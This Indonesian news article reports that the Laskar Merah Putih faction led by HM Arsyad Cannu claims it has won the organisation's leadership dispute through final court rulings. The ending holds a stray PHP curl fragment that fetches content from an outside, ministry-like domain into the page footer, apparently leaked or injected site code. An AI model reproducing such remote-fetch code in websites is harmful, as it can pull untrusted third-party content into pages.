Konflik Internal LASKAR MERAH PUTIH: Dimenangkan Kubu Ketua Umum HM Arsyad Cannu, Berdasarkan Keputusan PTUN

Sabtu, 24 Agustus 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Pangkalpinang l Jejakkasus.info – Dalam release yang disampaikan oleh Burhan Saidi Wakil Ketua Umum Markas Besar LMP dibawah Komando Ketua Umum HM. Arsyad Cannu bahwa perselisihan dualisme LMP sudah selesai.

Persoalan perselisihan Ormas LMP telah tuntas setelah dikeluarkannya Putusan Pengadilan Tata Usaha Negara (PTUN) dan Putusan Pengadilan Negeri Jakarta Barat yang telah berkekuatan hukum tetap (inkrah).

Putusan Perkara PTUN No. 235/G/2020/PTUN_JKT Telah Membatalkan AHU-00978.AH.01.08 Tahun 2020 Tentang Persetujuan Perubahan Pengurus Badan Hukum Ormas LMP yang diajukan oleh Adek Erfil Manurung dan Mewajibkan Kementerian Hukum dan HAM RI Cq, Ditjen AHU Menerbitkan AHU Perkumpulan Ormas LMP a.n. Ketua Umum HM. Arsyad Cannu tertanggal 7 Juni 2021.

Upaya Banding Nomor Perkara 190/B/2021/PT TUN.JKT tertanggal 3 November 2021 dan Kasasi Nomor 257 K/TUN/2022 Tertanggal 27 April 2022 dimenangkan oleh Ketua Umum HM. Arsyad Cannu. Serta Putusan PN Jakarta Barat Nomor. 31/Pdt.G/2021/PN/Jkt.Brt Tertanggal 28 April 2022

Dimenangkan oleh Ketua Umum HM. Arsyad Cannu. Upaya Banding melalui Pengadilan Tinggi DKI Jakarta juga Dimenangkan Ketua Umum HM. Arsyad Cannu, hal ini tertuang dalam Putusan No. 960/PDT/2023/PT.DKI Tertanggal 30 Oktober 2023. Lalu Putusan PN Jakarta Barat dikuatkan lagi Surat Keterangan Inkrah Nomor. 9215/PAN.W10.U.2.4/HK2.4/XII/2023 Tertanggal 27 Desember 2023.

Mengacu pada UU Ormas Nomor 16 Tahun 2017 Tentang Penetapan Peraturan Pemerintah Pengganti Undang-undang No. 2 Tahun 2017 Tentang Perubahan Atas Undang-undang Nomor 17 Tahun 2013 Tentang Organisasi Kemasyarakatan Menjadi Undang -undang. BAB XV, PENYELESAIAN SENGKETA ORGANISASI
Pasal 57

Baca Juga:  Waka Polres Nias Menghadiri Rapat Tim Terpadu Penanganan Konflik Sosial Kabupaten Nias Utara Tahun 2023

(1) Dalam hal terjadi sengketa internal Ormas, Ormas berwenang
menyelesaikan sengketa melalui mekanisme yang diatur dalam AD
dan ART.

(2) Apabila penyelesaian sengketa sebagaimana dimaksud pada ayat (1)
tidak tercapai, pemerintah dapat memfasilitasi mediasi atas permintaan para pihak yang bersengketa.

(3) Ketentuan lebih lanjut mengenai tata cara mediasi sebagaimana
dimaksud pada ayat (2) diatur dalam Peraturan Pemerintah.

Pasal 58
(1) Dalam hal mediasi sebagaimana dimaksud dalam Pasal 57 ayat (2)
tidak tercapai, penyelesaian sengketa Ormas dapat ditempuh melalui
pengadilan negeri.

(2) Terhadap putusan pengadilan negeri hanya dapat diajukan upaya
hukum kasasi.

(3) Sengketa Ormas sebagaimana dimaksud pada ayat (1) wajib diputus
oleh pengadilan negeri dalam jangka waktu paling lama 90 (sembilan
puluh) hari terhitung sejak tanggal permohonan perkara dicatat di
pengadilan negeri.

(4) Dalam hal putusan pengadilan negeri sebagaimana dimaksud pada ayat (3) diajukan upaya hukum kasasi, Mahkamah Agung wajib memutus dalam jangka waktu paling lama 60 (enam puluh) hari terhitung sejak tanggal permohonan kasasi dicatat oleh panitera
Mahkamah Agung.

Proses Hukum yang telah berlangsung hampir 4 Tahun, tentu membuat Organisasi yang bertujuan sebagai Garda Terdepan Bela Negara Kesatuan Republik Indonesia dan sebagai garda terdepan pemersatu anak bangsa menjadi tercerai-berai dan tidak maximal dalam menjalankan aktivitas sesuai tujuan dibentuknya organisasi Laskar Merah Putih.

Mengingat tidak ada lagi upaya hukum yang dapat dilakukan berdasarkan UU, dan untuk memberikan kepastian hukum bagi setiap anak bangsa khususnya LMP, tidak ada alasan bagi Kementerian Hukum dan HAM RI untuk tidak menerbitkan AHU Perkumpulan Ormas LMP An. Ketua Umum HM. Arsyad Cannu. Demikian pernyataan Burhan Saidi selaku Perwakilan Mabes LMP dihadapan Kesbangpol, Perwakilan Kejaksaaan, Kodim, Polres Kota Tangerang Provinsi Banten, yang juga dihadiri oleh Perwakilan Kanwil Hukum dan HAM Provinsi Banten.

Baca Juga:  Berita Jawa Barat : BPD seharusnya NETRAL, Ada Dugaan Kontrak Politik".

Terpisah nya Kamada LMP Mada Bangka Belitung Ferry dihadapan awak media menegaskan, Pada Tanggal 23/08/2024.Kami Kader- kader LMP Babel tetap semangat dan tidak terpancing dengan isu tentang LMP Babel dan bagi rekan-rekan LMP yang masih Bersebrangan mari kita bersatu agar lebih baik ungkap Kamada Ferry.

Lanjut nya Kamada LMP Babel, terjadi nya Dinamika dalam organisasi itu biasa
Semua kembali bagaimana kita menyikapinya, harus dengan hati yang Ikhlas dan pikiran yang jernih,

Karna tidak Perlu harus satu darah kita mesti jadi saudara, tidak Perlu Perbedaan suku kita harus menjadi saudara dan tidak Perlu perbedaan Agama kita menjadi saudara Karna kita semua Berdasarkan Pancasila. Sila ke 3,
Persatuan Indonesia tegas Ferry dengan semangat 45.

Satu Kata Perry semboyan LMP Babel.
“LASKAR MERAH PUTIH NKRI HARGA MATI, MERDEKA, MERDEKA LOYALITAS TAMPA BATAS.

Sementara itu, Nus Meo, SH. MH yang juga Wakil Ketua Umum Mabes LMP menyatakan Negara Harus hadir disini untuk memberikan Kepastian Hukum. Karena kita tidak bisa membiarkan persoalan ini berlarut-larut ketika Putusan Pengadilan yang merupakan representasi dari Negara yang mengadili perkara sengketa ormas yang telah memiliki kekuatan hukum tetap (inkrah).

Baca Juga:  ARM Bantah Cabut Pelaporan Terkait Dugaan Pelanggaran Kawasan RTH Stadion Bima Kota Cirebon

Kehadiran Mabes LMP dibawah Komando Ketum HM Arsyad Cannu yang terdiri dari Burhan Saidi jabatan Waketum OKK, Nus Meo, SH, MH jabatan Waketum Pertahanan dan Bela Negara, Richard Simanjuntak Jabatan Waketum Paregraf dan Herwin Fatahudin, S.Sn. jabatan Wasekjen mewakili Markas Daerah Banten yang dikomandoi Rudi Ongki dan Markas Cabang yang diketuai oleh Nurjaman, memenuhi undangan dari Kesbangpol Kota Tangerang Provinsi Banten.

Dalam pertemuan yang dilaksanakan pada hari Kamis, 22 Agustus 2024 Pukul. 14.00 hingga pukul 16.30 Burhan juga menyampaikan bahwa, Markas Besar juga telah mengirimkan Surat Pemberitahuan Kepengurusan Ormas LMP yang Sah dibawah Komando Ketum HM Arsyad Cannu berikut lampiran hasil putusan PTUN dan PN Jakarta Barat ke Kesbangpol seluruh Indonesia dan Kesbangpol Kota/Kabupaten di seluruh Indonesia. Langkah ini dilakukan sambil menunggu terbitnya AHU dari Kementerian Hukum dan HAM RI Cq, Ditjen AHU.

Dalam pertemuan tersebut Waketum Nus Meo meminta kepada Kanwil Hukum dan HAM Provinsi Banten untuk meneruskan Permohonan Ormas LMP kepada Kementerian Hukum dan HAM RI Cq. Dirjen AHU untuk menyegerakan terbitnya AHU agar dapat memberikan kepastian hukum, dan memberikan contoh yang baik sebagai Instansi Pemerintah kepada masyarakat yang taat hukum di negara yang menjadikan Hukum sebagai Panglima.

 

Editor : Maulana

Sumber Berita : Kamada LMP Babel Ferry Irawan dan Team

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Binda Ayu Asalasiyah, S.Ked Dapatkan Penghargaan Satya Lencana Aditya Karya Mahat Va Yodha Utama dari Karang Taruna Way Kanan
Aries Sandi Janji Perbaiki Pendidikan dan Infrastruktur di Pesawaran
Aries Sandi-Supriyanto Genjot Pembentukan Tim Pemenangan di Pesawaran
Jelang Penetapan KPU, Balon Wabup Ayu Asalasiyah Kukuhkan Tim Amanah Emak-emak di 5 Kecamatan
Pesawaran Ganti Rezim: Seruan Perubahan Sambut Pilkada 2024
Buntut Aniaya Adik Tingkat, Empat Siswa SMA Kebangsaan di Kembalikan Hak Asuh ke Pihak Keluarga
Dukungan Terus Mengalir untuk Kemenangan Aries Sandi-Supriyanto
Hak Jawab Sulardi Atas Tuduhan Pemalsuan Surat Tanah Tak Berdasar,

Berita Terkait

Jumat, 20 September 2024 - 10:17 WIB

Binda Ayu Asalasiyah, S.Ked Dapatkan Penghargaan Satya Lencana Aditya Karya Mahat Va Yodha Utama dari Karang Taruna Way Kanan

Kamis, 19 September 2024 - 20:52 WIB

Aries Sandi Janji Perbaiki Pendidikan dan Infrastruktur di Pesawaran

Kamis, 19 September 2024 - 20:50 WIB

Aries Sandi-Supriyanto Genjot Pembentukan Tim Pemenangan di Pesawaran

Kamis, 19 September 2024 - 20:20 WIB

Jelang Penetapan KPU, Balon Wabup Ayu Asalasiyah Kukuhkan Tim Amanah Emak-emak di 5 Kecamatan

Kamis, 19 September 2024 - 15:26 WIB

Pesawaran Ganti Rezim: Seruan Perubahan Sambut Pilkada 2024

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>